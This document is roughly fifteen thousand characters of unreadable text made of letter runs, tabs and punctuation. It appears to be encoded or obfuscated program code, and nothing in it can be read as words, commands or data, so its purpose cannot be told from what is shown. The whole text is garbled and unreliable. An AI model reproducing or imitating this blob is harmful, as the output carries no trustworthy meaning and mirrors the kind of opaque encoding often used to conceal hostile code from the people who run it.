OOOROOOWZ XGWW\FGKYX	FOOIIOOWZ XGXZWFG_GXZFCOKYX	COOOOK0FOOIIOOOOO
 0 
GK04^2COOOOOV	_00YGFCOOHQHFTeeeeOO
GKYX	COOOK0FTeOOOO	OOOGNKXW
FOOOeOYXYW][GK 	Z^[COOG]\ZD^WZFFTeOOOOZ	VV0GK 	Z^[FTeeOOeeeOOOeOOO	OOOOOOGWZ XGWYVFGWZ XGWW[FFFOO/
0
G]X_	GWXZFCOO^COG\ZY^D\VFFTeOO
TeeOeeOOOOO^Z^V
V0GK 	Z^[FTeYXYW][GK 	Z^[COOOOOG]]VDY\FFTeOOY
XGK 	Z^[FTeOZ
GFTeeeOOOOOOX	[V	YGFTeOOOOOOOOOG; 
OOK]WFOeOOOOZ[^YZZG_GWWZFCOK]WFTeOOOG*
 OOOOK]WFOOOOeOOOeOOe	 OOO0ZYXZZ]YXGFeOOOOOOeOOOeOOOOOK 	X_OOROOOV X[GFTeee	OOOGK 	X_OIIOON ^Y\^X_WGK 	X_FFOOeeeeOOOOOOOK_ORO
V[[
0[GV[^_GXVWFCOOMMFTeeeOK_Z0OOOOOROOOOZW0\^GWZ XGWW\FGK_FOOPOOOOOK_OOUOOMMFTeeeeOKYX	OROOOOZW0\^GK 	X_FTe	OOOOOGNWZ XGWW\FGK_FOOOOOO_GX^^FGK_FOOSOOGV]ZB[]ZFOOOOOO ^Y\^X_WGK_FOOOOK_Z0OOORRROMMOOOOGKYX	OONRROOOOMMOOIIOOOO
 0 
GKYX	COOOK_Z0COHQHFFFOe	\_\YGV[^_GWWYFCOK 	X_COWZ XGW__FFTe	OOGV[^_GWYVFG_GYWYFFFOe/
0  G]X_	GZVXFCOOOO_CO]X_	GW__FFTeeeOO/
0  G]X_	GZ^VFCOOO_COOWZ XGW__FFTeeO/
0  GV[^_GZ^WFCOOOO_COWZ XGWWXFFTeOOOeeOO	OOOOGWZ XGWWWFGWZ XGWWVFFFO/


0
G	[\Y
GFFTeOeeeOOeeOOO	OOGWZ XGWV_FG_GXXZFFOOIIOOOOV[^_GWV_FG]X_	GWV^FFFOOeOKZYOOROOOO
0  G]X_	GWV]FFTe	OOGKZYOOOOOONRROOO	
OOIIOOOKZYOONRROOOV	_00YGFFOOeeeeOO/
0  GV[^_GWV]FCOOOOOV	_00YGFCOOO_GWWXFFTeOeOe	OOOOOOGNOO]X_	GWV_FG_GWV\FFOOOOOONOO0  G]X_	GWV]FCOOV	_00YGFCOMMCOOO]X_	GWWXFFFOOe
TeOeeeeOOeOOOO\X^]^\ZGFTeOOOOOO	OOGWZ XGWV_FGV[^_GWV[FFFOOOOeO/
0  GV[^_GWVZFCOOO_COV[^_GWVYFFTeOO/
0  G_GZ^VFCO_COOOWZ XGWVYFFTeO/
0  GV[^_GZ^WFCO_COO]X_	GWVYFFTeOOe	OG_GWV_FGV[^_GWVXFFFOO/


0
G	[\Y
GFFTeOOOOOOeOOOOO	OOGK 	X_OOOOIIOON ^Y\^X_WGK 	X_FFOOeO	\_\YG]X_	GWWYFCOOK 	X_COOV[^_GWVYFFTeOOOOeO^\^ZY00^GFTeOeeeOOYXYW][G []]^
 XGFCOG]Z[D\WFFTeOOOee
X
 X^G_G[]XFCOOOOO_GWVWFCOOOOO_FTeOOeOOO
X
 X^GV[^_G[]XFCOV[^_GWVVFCOO_FTeOOOOOOG; 
OK]WFOeOOOOOOZ[^YZZG_GV__FCOOK]WFTeOOOOO	OOOOG_GWV_FG_GYWWFFFOOO/


0  GWZ XGWV]FFTeOOOOOG*
 OOOOOK]WFOOe	OOOOG_GWV_FG_GV_^FFFO/


0  G]X_	GWV]FFTeOOOOOeOOOOe	 OOOO
V	XWGFeeOOeO	OOOG]X_	GWV_FG_GXX^FFFOOeOO/]X_	GXX^FG 
0GH@HFCOOOOGWZ XGXW]FORQOOOG\D]FCOOOOV[^_GV_]FOOOORQO	
COO_GZ^[FOOORQOOOOOO	
FFTeOOeOOOOOOOG; 
OK]WFOOeOOOOZ[^YZZG_GV_\FCOOOK]WFTeOOOOOOOOOOOOG*
 OOOK]WFOeeeeOOeeOOOe	 OOOOZ [Z
 GFeeeOOOOOOKV
 ]OROO	
TeO	OOOGKV
 ]FOO
TeKV
 ]OOOOROOOO
TeOOeOOOO	OOGNOOOOOO]X_	GWV_FG]X_	GV_[FFOOOOOOONOOO0GFFOe
TeOOOeeOOOOOOO	OOGNWZ XGWV_FGV[^_GV_ZFFOOOOON
0
0GWZ XGV_YFFFOOOOOOeOO
TeeeK[_VOOROOOO
GK0=*>:*<;4V[^_GV_XF2FOOOOOPOK0=*>:*<;4]X_	GV_XF2OOUOMMTeOOOOK[_VOOORO]X_	GV_WFGK[_VFOOOOPOOO_GV_VFGK[_VFOOOUOOOOOMMTe	OOGK[_VOOOONRROV[^_GV^_FOOOOIIOOOOK[_VOONRRO_GV^^FFOOeOOOOO
TeOOOOeeeOeOOK_0OROOGFTeOOO	OOOGK[_VORRROOOOOWZ XGV^]FFOOOOeK
XOROOO
GK0=*>:*<;4V[^_GV^\F2FOOOPOOK0=*>:*<;4_GV^[F2OOUOOMMTeK
XOOROOWZ XGV_WFGK
XFOPO_GV_VFGK
XFOOOUOOOMMTe	OOOGK
XOOOIIOK
XOONRROO[0X[YZGFFOeOK_042OROOOK
XTeOOeOOOOOO

OeOOOeOOOOKV0]\YOORO
GK0=*>:*<;4V[^_GV^ZF2FOPOOOK0=*>:*<;4V[^_GV^ZF2OUOOOOOOGFTeKV0]\YOOOOOROOOV[^_GV^YFGKV0]\YFOOPOOOOKV0]\YOOOOOUOOGFTeOOOOOO	 
OOOGKV0]\YOOK
XFOeeeK
XOOOOROOO_GV_WFGK
XFOOOOPOOOOWZ XGV_VFGK
XFOOUOOMMTeO	OOOOOOGK
XOOIIOK
XOONRROO[0X[YZGFFOOeOOK_042OROOOOOK
XTeOOeOOOOeOeO	OG
GK_0FFOOOeO
TeOeOK]]	OOOOOOROOO	
TeO	 
OOOOGK_0OOOK
XFOOeeeeOOO	OOOOOG 
YX0VGK
XFFOOOe^V0]]GK
XFTeOOOK]]	OROOO
TeeOOOOeOO	OOGK]]	FOOOeOeO	OOOOOGWZ XGWV_FGWZ XGV^XFFOIIOOV[^_GWV_FGV[^_GV^WFFFOOeOOO0	
0

G0G]X_	GV^VFFFTeeOOeOOOG; 
OOK]WFOeOOOZ[^YZZG_GV]_FCOK]WFTeOOOOOOOOOG*
 OK]WFOOeOOeOOeO	 O0X
]GK0X

]^YCOOOOKZZV[0FeeOOOO	OGKZZV[0OOOOORRROOWZ XGV]^FFOeOOOOOOKOOOROOIK(# -.#<4V[^_GV]]F2Te	OOOOGN
GK4V[^_GV]^F2FOOOON]X_	GV^YFGK4]X_	GV]^F2FFOeeeO
OOOK0X

]^YTeOeOOOOK]\ W_OOOOROOOOOO
	
G_GWZ]FFOPOO8?0, !;*!;0+&=OOOOOOUOG
	
GWZ XG\[FFOOPOOO.-<?.;'OAOWZ XGWZ\FOOOUOMMFTeOOO	OOOGK]\ W_ORRROOMMFOOOeOOO
OOOOK0X

]^YTeeOOeOK	[[OOOROOOOGV[^_GV]\FOOORQOOO]X_	GV][FCOOOOOWZ XGV]ZFOOOORQOOOOOV[^_GV]YFFTe	 
OOOGK	[[OOOK
\W_\\ZV]ORQOOOOK0]FOeOO	OOOGN
GK4WZ XGV]XF24K
\W_\\ZV]2FFOeee 
TeOOOOOeKW0Z^XOOROOOO/V[^_GWW]FGK]\ W_OAOOH@HOOOOOAOOK
\W_\\ZV]FTeOOO	OGNV[^_GV]WFGKW0Z^XFOOOOO_GXY[FGKW0Z^XCOOO_GV]VFOOOOAOOOK0]OAOO]X_	GV\_FFOOOORRROO	
FOOOOOOeO 
TeOOOOeeOOOOOKYXVYWOROWZ XG[VXFG]X_	GV\^FOOOOAOOOK0]OOAOOOO]X_	GV\]FOOOOOAOOOOOOK0]OOAOOO_GV\\FCOMMCOKW0Z^XFTeOO	OOOOOOGNV[^_GV]WFGKYXVYWFFOOeeeeOOO 
TeOOOOOOOeOOOOKYXVYWOOOROO]X_	GV_VFGKYXVYWFTeO	OOGKYXVYWOOOORRROOMMOOOOOKYXVYWOOORRROO_GV\[FOOOKYXVYWORRRO]X_	GV\ZFFOe
GK4]X_	GV]XF24K
\W_\\ZV]2FTeeeeeeee
OOOOOK0X

]^YTeOOOOeOO	OGKZZV[0OOOONRROWZ XGV\YFFOOOeOO
OOK0X

]^YTeeeeOeOKOOOOOROOOIK(# -.#<4]X_	GV]]F2TeOOOOOOKW
\_Z^OROO_GWZWFG []]^
 XGFFTeOOOO	OOOG
GK4_GV\XF24KW
\_Z^2FFOOOOeeeO
GK4WZ XGV\XF24KW
\_Z^2FTeeOOO
OK0X

]^YTeOOeOO	OOGN_GWV_FG]X_	GV\WFFFOOOeO	 O ZW][_[V_ZYVGFeOeOO	OOGNOOOO	VV GFFOOeOOO
TeeeeOOeOOOK^\V__OOORO_GWZWFG []]^
 XGFFTeeOKZ0_
 ^OOROOWZ XGWZWFG []]^
 XGFCOOV[^_GY[WFFTeOK W	0W	OOOOROKZ0_
 ^OOAOOOH@HOOAOOOOOK^\V__TeeeeOOO
 OOOOOWZ XGV\VFOOOOOAOO
0GK^\V__FOAOOOOOV[^_GV[_FOOOOAOO
0GK W	0W	FOAOO_GV[^FTeO
 OOOOWZ XGV[]FOOOOAOO
0GK^\V__FOAOOOO_GV[\FOOAOO
0GK W	0W	FOAOOOOWZ XGV[[FTeOOeOOeOOO	OOOOOGNV[^_GWV_FGV[^_GV[ZFFFOOOOeOOOOO	 OOOOZXX]ZXGK\W0FeeOOOeO	OGNOO]X_	GVXFGK\W0FFOOOeeeO
OOOOK\W0TeOeOOOOK^\V__OOROOOO[0X[YZGFTeO	OG
GK\W0BQ
 
4K^\V__2FFOOOeeO
GK\W0BQ
 
4K^\V__2FTeOOOeO
OK\W0TeOOeeOOOOO	OGNV[^_GWV_FGV[^_GV[YFFFOOOOOOeO	 OOOOO] ZYV0ZWGKFeOOOeOOOOK	Z V^OOOROOO[0X[YZGFTe	OOG
GK4K	Z V^2FFOOOOeO
GK4K	Z V^2FTeOeOKZ0_
 ^OOROOOOOOV[^_GWZWFG []]^
 XGFCOO]X_	GY[WFFTeeOOOOOK W	0W	OOOOOROKZ0_
 ^OOAOOOH@HOOAOOOO]X_	GWZWFG []]^
 XGFFTeeeeOOO	OG
GK4K W	0W	2FFOeeeeOOOOO
GK4K W	0W	2FTeOOOOeOOO
OOOKTeOeOOOeOOOO	 OOOW
[[YYZ^0GK0WXXFeOOeOOOO	OGNOOV[^_GV^YFGK0WXXFFOOOeOOOO
OOK0WXXTeOeeeOK^^\]OOOOOROOOOOMMTeOOOO	OGV[^_GWV_FGV[^_GV[XFFOOOOOIIOOWZ XGW\XFG []]^
 XGFFFOOOOeK	0 
	OOORO
00G []]^
 XGFCOO	
COO	
FTeK^^\]ORO
GK	0 
	4WZ XGV[WF2FOPOOOOK	0 
	4]X_	GV[WF2OOOUOMMTeeOOOOOOKZ[	OOOROOG_GV[VFCOOOOOO]X_	GVZ_FFTe	 
OOOOGKZ[	OOKZ^__]]FOOeO	OGNOOOO
GK0WXX4KZ^__]]24WZ XGVZ^F2FOONOOV[^_GV^YFGK0WXX4KZ^__]]24V[^_GVZ^F2FFOOOOOe 
TeOOOOeO	 
OOGK0WXX4KZ^__]]24V[^_GVZ^F2OOOOOOK
OOOORQOK \X	FOOOOeOOO	OG_GXY[FGK
COOO[0X[YZGFFONRROOOOO	
OOOOOOOOOK
OORRRO[0X[YZGFFOOOOOOeOO
GK0WXX4KZ^__]]24_GVZ^F24K
2FTeO 
TeOOeOOOOO	OGK^^\]ONRROOOMMOOIIOK
OOOORRROOOK^^\]FOOOeOOOOOO
GK0WXX4KZ^__]]24V[^_GVZ^F24K
2FTeeeeOO 
TeeeeeeeeOOOOOOOO	 
OOOGG_GVZ]FCOV[^_GVZ\FFOOOOOOK _FOOOeK0	\ [OOOOOOROOO
GK0WXX4K _24]X_	GVZ^F2FOIIOOOO_GV^YFGK0WXX4K _24WZ XGVZ^F2FOOPOK0WXX4K _24WZ XGVZ^F2OOUOOGFTeeeOOOO	OGNK0	\ [FOO 
TeOK0]_[OOROOO
	
G]X_	GY[_FFOOOOOPOOO8?":0?#:(&!0+&=OOUOOOOOG
	
GV[^_GWZ]FFOPOO8?0, !;*!;0+&=OOOAOOOOOOWZ XG^ZFOOOUOOMMFTeeeeOOK]X
V \OROGFTeOOO	OOOOGK^^\]ONRROOOOOMMFOOOOK]X
V \42OOOROOK^^\]TeOOOOOK]X
V \42OOROOV[^_GWZWFG []]^
 XGFFTeOO	OOOOOGK0]_[ONRROMMOOIIOOO/WZ XGWX]FGK0]_[FOOOIIOV[^_GWV_FGV[^_GW[VFFFOOOOOeOOOOO	 
OOOGGFO/]X_	GVZ[FGK0]_[OAOOWZ XGY[\FFOOOK[  ]W_YFOeKXV\W_0\
XOOROOOOO/V[^_GWW]FGK[  ]W_YCOO	
COCO_COOG^^_\DX_WVFFTe	OGNV[^_GVZZFGKXV\W_0\
XFOOOOOWZ XGXY[FGKXV\W_0\
XCOOV[^_GVZYFFORRRO	
FO 
TeOOOO	OG_GXZWFG_GVZXFCOOKXV\W_0\
XCOK0	X ^^FFOOOOeOOOOK	0Z[	OOOOROOWZ XGV_VFGK0	X ^^4^2FTe	OGK	0Z[	OONRROOOMMFOOOOK]X
V \42OOROOOK	0Z[	TeeOOOOOOOeOK]X
V \42OOROO]X_	GWZWFGK[  ]W_YFTeeOe	 
OOGK0	\ [OOOOOK
ORQOK \X	FOOOeOO	 
OOOOGK]X
V \OOOOOOKY	V 0	0
FOeOOOOOO	OGK
OORRROOKY	V 0	0
OOOOOK
OORRROOO
0
0	
GKY	V 0	0
FFOOeOOOOOO
GK0WXX4K _24_GVZ^F24K
2FTeOOOO
TeOeOeeeeOOOOOeKYX\V  \_OOROO
GK0WXX4_GVZWF24_GVZVF2FOOIIOO]X_	GV^YFGK0WXX4V[^_GVY_F24]X_	GVY^F2FOOOPOOK0WXX4WZ XGVY_F24_GVY]F2OUOOOGFTeO	OOGKYX\V  \_FOeeOOOOK]\ W_OOOORO
	
GWZ XGWZ]FFOOOOOOPOO8?0, !;*!;0+&=OOUOOOOG
	
GWZ XGVY\FFOOPOO.-<?.;'OOOOAOOO]X_	GWZ\FOOUOOOOMMFTeK	[[OROOG_GV]\FOOOOORQOOO]X_	GVY[FCOOOO]X_	GV]ZFOOOOORQOOO_GVYZFFTeOO	 
OOOOOGKYX\V  \_OOOOOK
OOORQOOOK \X	FOeOOOO	OGN
GK	[[4K
2FOOOOOOK]\ W_OOOOORRROOMMFOO 
TeOOOKW0Z^XOORO/]X_	GWW]FGK]\ W_OOOAOOH@HOOAOK
COOOO	
COCOOO_COOOG]ZZYD^Z[_FFTee	OGV[^_GVZZFGKW0Z^XFOOOIIOG_GXY[FGKW0Z^XCOOOV[^_GV]VFOOOOAOK	[[4K
2OAOOWZ XGVYYFFOOONRROOO	
OOOOOV[^_GVYXFGKW0Z^XCOOOOOWZ XGVYWFFOOOONRRO	
FFOOeO
GK0WXX4_GVYVF24]X_	GVY]F24K
2FTeOOOOeOOeOOOOOeOOOO
OK0WXXTeOOOOOOeOOOOeOOOOOOO	 OOOOOO[ZY_V V]
GK_^FeOOOOOOOe	OOOGNOOOOV[^_GV^YFGK_^FFOeeOOO
OK_^TeeOeeeOOOK\OOROOO]X_	GWZWFG []]^
 XGFFTeOOK	\_OROOWZ XG]^_FGK\COO?.;'&!) 0)&#*!."*FTeeeOK]OROGeOG]X_	GVX_FOOORQOHLHOOAOOOWZ XGVX^FGK\COHLHFOOOAOOOWZ XGVX]FCOO]X_	GVX\FORQO
FCeG_GVX[FORQOOOV[^_GVXZFOOOAOOOO_GVX^FGK	\_COHLHFOOAOOWZ XGVX]FCOO_GVXYFOORQO
FCeOOOOFTeOOOOOOO	OG
GK_^4V[^_GVXXF2FOOOOIIOOOV[^_GV^YFGK_^4]X_	GVXXF2FFOOOeeOOO	 
OOGK_^4]X_	GVXXF2OOOOOOK[ XZ	OOORQOOK0\\FOOe	OOOGNO]X_	GVXWFGK0\\FOOOOOONO]X_	GVXVFGK[ XZ	FFOOeOOO 
TeOeOO	OGNOO
GK_^4_GVXXF24K[ XZ	24V[^_GVW_F2FOOOOOONOO_GVW^FGK_^4_GVXXF24K[ XZ	24WZ XGVW_F2FFOOeeeeOOOOOK_^4_GVW]F24K[ XZ	24]X_	GVW_F2OOOOOROGFTeOOOOOOOeOOOOOOO	 
OGK]OOOK\WZ_\FOeOOOK_^4]X_	GVW\F24K[ XZ	24V[^_GVW[F242OOOROOK\WZ_\TeOOOOeOOOOOOeOOeO
OOK_^TeOeOOOeeee	 OO_\GFeOOOOeOOeeeeOOO	OOOOOOGNO
	
GWZ XGVWZFFOOOOO G_GVWZFFOOSOOOOOOG_^D_YFFOOOeOOO
TeOeOOOO	OOG]X_	GVWYFG]X_	GVWXFCOO	
FFOOOe
TeOeOK	[
ZZ OOOROWZ XGWZWFG []]^
 XGFFTeeeeK [X
OOOROOO
	
G_GW\^FFOOOOOOPOOO8?0?#:(&!0+&=OOOUOMMTeeeeOOOOK \YZW]WOOROGeOOOK [X
OAO_GVWWFCeK [X
OOOOAOO_GVWVFCeOOOOOOK [X
OAOO_GVV_FCeOOFTeOOOOK_[YOOROMMTeeeeO	 
OOGK \YZW]WOOOOOOOOOK^\V__FOeOOO	OGK^\V__OONRROOOOMMOIIO/V[^_GWW^FGK^\V__FOOOOIIOOOO/V[^_GW_VFGK^\V__FFOOeOOOK_[YOOOOOROOK^\V__TeeeeOOO
TeOOOOOeOOeOOOOOOO	OGK_[YOOOORRROOMMFOe
TeOeeeOOK^^OROOOV[^_GWZXFGK_[YFTeO0  0

G	 OGK _	_^ V
FO
OGK^^FOOOeO	 
OGGK^^OAOOOH@HOOOAOOOOK _	_^ V
OAOOOWZ XGVV^FCOK^^OAOOH@HOOOOAOK _	_^ V
OOAOV[^_GY[WFFOOOOOKV^\]FOOeOO	OOOG/]X_	GWW^FGKV^\]FFOOeOOO
0 
OKV^\]TeeeOOO
TeOeOOOOOeOOOFTeOK Y]0ZOOOOROOO/WZ XGWW]FGK_[YFTe	OOGK Y]0ZOORRRO	
OOOOOOOOV[^_GVYXFGK Y]0ZCOOOV[^_GVV]FFORRROOOO	
FOeOOO
TeOOOOeOOOK Y]0ZOROOV[^_G[VXFGV[^_GVV\FCOMMCOOOK Y]0ZFTeOOOOK Y]0ZOOOOOROO]X_	GVV[FGWZ XGVV]FCOOO_GVVZFCOOK Y]0ZFTeOOOOOK \	OROOW		X[GV0^GFCOOOOOWZ XGW[WFFTeee	OOOOGK \	OOOORRROOOOO	
FOeeOOO
TeOeOOO/_GVVYFGK \	COOOOWZ XGVVXFOOAOK Y]0ZFTeOOOOOeeeeOOOO/
OOOK \	TeOO	OOeOZ	VV0GK \	FTeOOOeeKZXXWOOROOOWZ XG]^_FGK	[
ZZ COOOOOO?.;'&!) 0)&#*!."*FTeOOOOK(# -.#<4WZ XGVVWF2OOROK	[
ZZ TeK(# -.#<4_GVVVF2OOROOOKZXXWTeOOK 0_^X0OORO]X_	G^___FeOOOAOOWZ XG^__^FeeeOOOAOOWZ XG^__]FeeeeAOOWZ XG^__\FeOOOOOOOOAO_G^__[FeAOOOOHHeOOAO]X_	G^__ZFeOOOAOOOHHeAOOOHHTeOOK0X	VOOOROOOOOOW		X[GV0^GFCOO]X_	GW[WFFTeOOOOO	OOGK0X	VFOOOOOeOO/WZ XGVVYFGK0X	VCOOK 0_^X0FTeOOOeOOO/
OOOK0X	VTeOOOOO	OOeZ	VV0GK0X	VFTeeeeeeOOOOOOOG; 
OOOOK]WFOOeOOZ[^YZZGWZ XG^__YFCOK]WFTeOOOOOOOG*
 OOK]WFOOOOOeOOOeOOOOOOeeee	OGNWZ XG^__XFG]X_	G^__WFFFOOOOeO	 OO 	^ \Z\0GKY[COOOKV[X
W ] \VFeeOO	OGNOOOOO_G^__VFGKY[FFOOOOe
OKY[TeOeOOOOOOOK0W_
X]^OOOROOOGWZ XG^_^_FCOOOWZ XG^_^^FCOWZ XG^_^]FCOO]X_	G^_^\FCOOO]X_	GY^\FFTeOOOO	 
OOGK0W_
X]^OOOOOOOK
FOOeOOOOOOOO	OGNOOOO
GKY[4K
2FOOONOOV[^_G^_^[FGKY[4K
2FFOOOeOOOOO 
TeOOeK
VY0OOOOOROGFTee	 
OOGKY[4K
2OOK]XZYFOOOOeOOOOOOOO	OOOGNOOO_G^_^[FGK]XZYFFOOOOOeeK
VY042OOROK]XZYTeO 
TeeeOOeOK

]  _YOOOORO
GK]XZY4WZ XG^_^ZF2FOOOPOOOOOK]XZY4V[^_G^_^ZF2OOOOUOMMTeOOOOOOKZXXWOOOOROOOO
GK(# -.#<4V[^_GVVVF2FOPOOK(# -.#<4_G^_^YF2OOOOUOOOOMMTeeeO	OGK

]  _YOOORRROOKV[X
W ] \VOOOOGKZXXWOOOOOONRROOMMOOOOIIOOOOK

]  _YOOOORRROKZXXWFFOOeOOOO 
TeeOOK
VY042OOOOOOROOO 	^ \Z\0GK]XZYCOOKV[X
W ] \VFTeOeeeeOKY[4K
2OROOOOOK
VY0TeOeeOOOOO
OKY[TeOOOOOeeeeOOOeOOOOOO	 OOOY_]WWYV	0
]Y
GFeeOeOOO	OOGWZ XG^__XFGV[^_G^_^XFFOIIOOO
0
G_GXXXFFFOOeeOO
TeOeOKY^_	OOOOOORO/WZ XG^_^WFG []]^
 XGFFTeeeOOOOO	OOGKY^_	OOOOIIOKY^_	OOQOOG[V_XDV\FOIIOOKY^_	OOOSOG[VVVVX\D]XFOOOOOIIOONY]Y^
G []]^
 XGFFFOOOOOeOOOOOKYOROO/_G^_^VFG []]^
 XGFFTeeOOOOOOOO	OOOOOGV[^_GVZZFGKYFOOOIIOOOOO_GX^^FGKYFORRROOOKY^_	OOOOOOIIOO
[X
 Z]Y
GKYFFOOOOOe	OOOOOG]ZVG []]^
 XGFCOOO  	
_0VGKYFFFOe^Z^V
V0G []]^
 XGFFTeOOY
XG []]^
 XGFFTeeeeOOOe
GKYFTeOOOOOOOeOOOOOOOK\
W
W_0OOROOOO/]X_	G^_^WFG []]^
 XGFFTeeeeK
W]XYY 	VOOROOK\
W
W_0OOIIOOOOK\
W
W_0OOQOOOOG[VXYD][FTe	OOOGK
W]XYY 	VOIIOOK\
W
W_0OOQOOOOG\YV_VY_^D^ZZ^V^VVFFOeOK
W]XYY 	VOOOOOROO	
TeOeee	OGK
W]XYY 	VFOOeK0X]] OOOOROO/]X_	G^_^VFG []]^
 XGFFTeOOOO	OGWZ XG^_]_FGK0X]] FOOOIIOV[^_G^_]^FGK0X]] FOOQOOOOG^_[WZZWD^WFFOOOOOK0X]] OROOXX[WZGK0X]] FTeeOO	OOGNWZ XG^_]_FGK0X]] FOOON
[X
 Z]Y
GK0X]] FFOOOeOK
W]XYY 	VOROOO	
TeOO

OOeKY__0ORO
V[[
0[GWZ XGWWYFCOOMMFTeeeeOOOOKY _VOOOOOROOOZW0\^GK0X]] FTeOOK[[^Y0\0\ZOROZW0\^GWZ XG^_]_FGKY__0FOOOOOOPOOOKY__0OOUOOOMMFTeeeeOOO	OOGKY _VOOOONRROOOOMMOOIIOOOGK[[^Y0\0\ZORRROOOMMOOOOOO
 0 
GK[[^Y0\0\ZCOOOOKY _VCOOHSHFFFOOOOeOOOOOKW
WOOOOOOROOV[^_GWW_FGK0X]] FTeOOOOOOOK^0OOOOORO/WZ XGWW^FGV[^_GWZXFG []]^
 XGFFOOAOO]X_	G^X[FOOOOAOKW
WFTeeeOOOOOOOO	OOOGNK^0FOOOOOeOKV [
\\OROO
0  GWZ XG^XWFFTeO	OGWZ XG^_]_FGKV [
\\FOOIIO]X_	G^_]]FGKV [
\\COOOOKW
WOOOOOAOOOOOHHFORRRO_OOIIOOOOWZ XGWYZFGFOOBOGFOOOOO]X_	GXZVFGKV [
\\CO]X_	G^_]\FGKV [
\\COOOOHHFOOOOODOO^FOSOOOOGWY\YVD\^FFOOOK^0OORO
TeOeO	OOOOGK^0FOK
W]XYY 	VOOOROOOO	
Te	OGNK^0OOOIIO]X_	G^_][FGKY__0FOOOIIOOGKY__0OORRROOMMOOOOOOOOK[[^Y0\0\ZOOOORRROMMOOOO
 0 
GK[[^Y0\0\ZCOOOKY _VCOOHSHFFFO	\_\YGV[^_G^_]ZFCOOOOOK0X]] CO_GWVYFFTeOOO
GKW
WCOK^0COKV [
\\FTeOOOOO

	OGV[^_G^_][FGKY__0FOOOOOOIIO_G^_]^FGKY__0FOQOOGYXD[\\FOOIIOV[^_G^_]^FGKY__0FOOSROGVZ[ZX[DV[__]FOIIOOOOON ^Y\^X_WGKY__0FOIIOO
[X
 Z]Y
GKY__0FOOOOIIOOV[^_GWW_FGK0X]] FONRROV[^_GWW_FGKY__0FFOOeK
W]XYY 	VOOOROO	
TeOOOeOOeOOeOO	OOOOOGK
W]XYY 	VFOOOeOOOO	OOOG_G^__XFG]X_	GWW[FFFOOe
0
GWZ XGXXXFCOOOO^COOOG^_ZWD]Z[]FFTeOOOOOOOee
TeeOOO	OOGY]Y^
G []]^
 XGFFFOeOO
TeeeOK
^0\X\OOROOOOWZ XG^_]YFG []]^
 XGFFTeO	OGNOOO/]X_	GWX]FGK
^0\X\FFOOOOOeOOO^GK
^0\X\COOOOG[XZD^WFCO
FTeOOOeK\[]_
OOORO
V[[
0[G_G^_]ZFCOOMMFTeOOOOOOOO	OOOGNK\[]_
OOON]X_	G^_]XFGK\[]_
FFOeeeeOOO	OOGN
0
GWZ XG^_]WFFFOOeOOZ[^YZZG]X_	G^_]VFCOOOOOO]X_	G^_\_FFTee
0
GWZ XG^_]WFCOOOO^COOG\Z]YDX[FFTeOOOOOOOeOOOe	OGK\[]_
OOOOIIOO]X_	G^_]XFGK\[]_
FOIIOOOOOOWZ XG^_\^FGK\[]_
FOOQOOGX]]B]]]FOIIOV[^_G^_\^FGK\[]_
FOOOOOSROG]VWYVZDX[VWW^FOOOIIOON ^Y\^X_WGK\[]_
FOOIIOO
[X
 Z]Y
GK\[]_
FFOOeOOOOK00XWOROZW0\^GK\[]_
FTeOO	OOOGK00XWOOOONRROOOOMMOOOOIIO
 0 
GK00XWCOOV	_00YGFCOOHSHFFOOOeOOOOOOOO
TeOOOOeKX]\  _XOOROV[^_G^_]YFG []]^
 XGFFOOAOO_G^_\]FOOOOOOAOV[^_GWZWFG []]^
 XGFCOWZ XG^_\\FFTeeeeOKZ
X^OOOOOROOO/WZ XGWW^FGKX]\  _XFOOPOOO_GV_VFGGFO/V[^_G^_^VFGKX]\  _XFFOOUOMMTeOOOO	OGKZ
X^OOOOONRROOOMMOOOOIIOOWZ XGWW_FGK\[]_
FOORRROKZ
X^FOOeOO
TeeOOeOYXYW][G []]^
 XGFCOOOGZ[XB^]XFFTeOOOOOK
Y\[YORO]ZVG []]^
 XGFCOO  	
_0VGK\[]_
FFTeO	OOGK
Y\[YFOOOOOOe^Z^V
V0G []]^
 XGFFTeOYXYW][G []]^
 XGFCOOOG]\\DZVFFTeeeOY
XG []]^
 XGFFTeeeOOOOOOV X[G
FTeOOOO\Y]__	
WG
FTeO^]X
VG []]^
 XGFFTe	OOOG]X_	G^_\[FGWZ XGWW[FFFOOOOOeeee
0
G]X_	GXXXFCO^COOOOOG_\[	D_^FFTeOOOeOOOOO

	OOOOG_G^_\[FG]X_	GWW[FFFOee
0
G_GXXXFCOO^COG_\_\D_[_ZFFTeOOeeeeOOOeeeeOOOOOOOOOOOOG; 
OOK]WFOOOeOZ[^YZZG]X_	G^_\ZFCOOK]WFTeOOOOG*
 OK]WFOOOeeOOOOOeOee	 OX\X
X[_\ZGFeOOOOe]
[^0YGWZ XG^_\YFCO_G^_\XFFTe]
[^0YGV[^_G^_\WFCOOV[^_G^_\XFFTeOOO	OG]X_	G^_\[FG]X_	G^_\VFFFOeO
 
0 G_G^_[_FCO_G^_[^FFTeOO
 
0 GV[^_G^_[]FCO]X_	G^_[\FCOG[DYFFTeOOO
 
0 G_G^_[[FCOV[^_G^_[ZFCOG_XD_\FFTeOOOeOOOOOeeOOO	 O0 YW
VZ	
GFeOOOOeOOOOeOOOKOOROK(# -.#<4]X_	G^_[YF2TeeeK[_X\ZW^ZOROOKBQ
	OOAOOO]X_	G^_[XFTeOOOKXX_X\VOOOOROOOOH<HOAOOWZ XG^_[WFOOOAOOOOOOKBQ
OOOAOOOO]X_	G^_[VFOOAOOKBQ

OAOO]X_	G^_Z_FTee
OOKBQ
0
GKBQ

GKXX_X\VCOOK[_X\ZW^ZCOV[^_G^_Z^FFFTeOOOOOOOOG; 
OOOK]WFOOOeZ[^YZZG]X_	GYZ\FCOOK]WFTeOOOOOOG*
 OOOOK]WFOeeOOOOOOO
OOOOGFTeOOOeeeO	 OOZW][VZ[GK
_V\[
YFeOOeOOOOOOK0 OOOOOROGFTeOKW\ ^	0V]OOOOOOROOO	 OOOOOGK\_]]FOOeOOOOK\_]]4_G^_Z]F2OOOROOOOOOMMTeeO
OOOOK\_]]TeOOTeOOOOOOeOO	OOOOOGNOWZ XG^_\[FGWZ XG^_Z\FFOOOOOOOOONOOO]X_	G^_Z[FGV[^_G^_ZZFFFOeOOOO
OOK0 TeeeeeOO	OOOOGNOOO_G^_ZYFGK
_V\[
YFOOOO
GK
_V\[
YFFOOeOOOOO
